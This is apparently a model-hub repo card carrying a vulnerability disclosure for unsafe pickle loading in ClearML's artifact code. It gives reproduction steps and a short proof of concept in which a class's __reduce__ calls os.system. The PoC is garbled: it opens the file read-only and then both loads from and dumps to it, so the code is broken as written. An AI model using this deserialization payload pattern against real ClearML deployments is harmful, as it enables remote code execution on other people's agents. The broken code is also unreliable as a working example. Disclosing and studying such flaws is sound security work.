YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ClearML Pickle RCE PoC

Reported to huntr by xiaoyaoes

Vulnerability Location

File: clearml/binding/artifacts.py:309

The artifact loading mechanism calls pickle.load() to deserialize artifacts of type "pickle". The sole protection β€” SHA256 integrity check β€” only verifies that the file hasn't been corrupted, NOT that it's safe.

Key Details

  1. block_unsafe_artifacts: bool = False (line 208) β€” default is OFF
  2. SHA256 integrity check β€” only verifies file integrity, not safety
  3. Zero pickle safety protections β€” no safe_globals, no trusted, no weights_only

Reproduction Steps

  1. Create a malicious pickle payload with arbitrary code execution
  2. Compute the SHA256 hash of the malicious pickle
  3. Upload as a ClearML artifact with matching hash metadata
  4. When any ClearML agent loads the artifact β†’ pickle.load() triggers RCE

PoC

import pickle, os

class Pwn:
    def __reduce__(self):
        return (os.system, ('id',))

with open("clearml_poc.pkl", "rb") as f:
    pickle.load(f)  # ← RCE
    pickle.dump(Pwn(), f)

# When ClearML loads this pickle file β†’ RCE triggered

Impact

CVSS 9.8 β€” Remote Code Execution

  • Default configuration is vulnerable
  • Supply chain attack vector
  • No authentication required to receive the attack
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support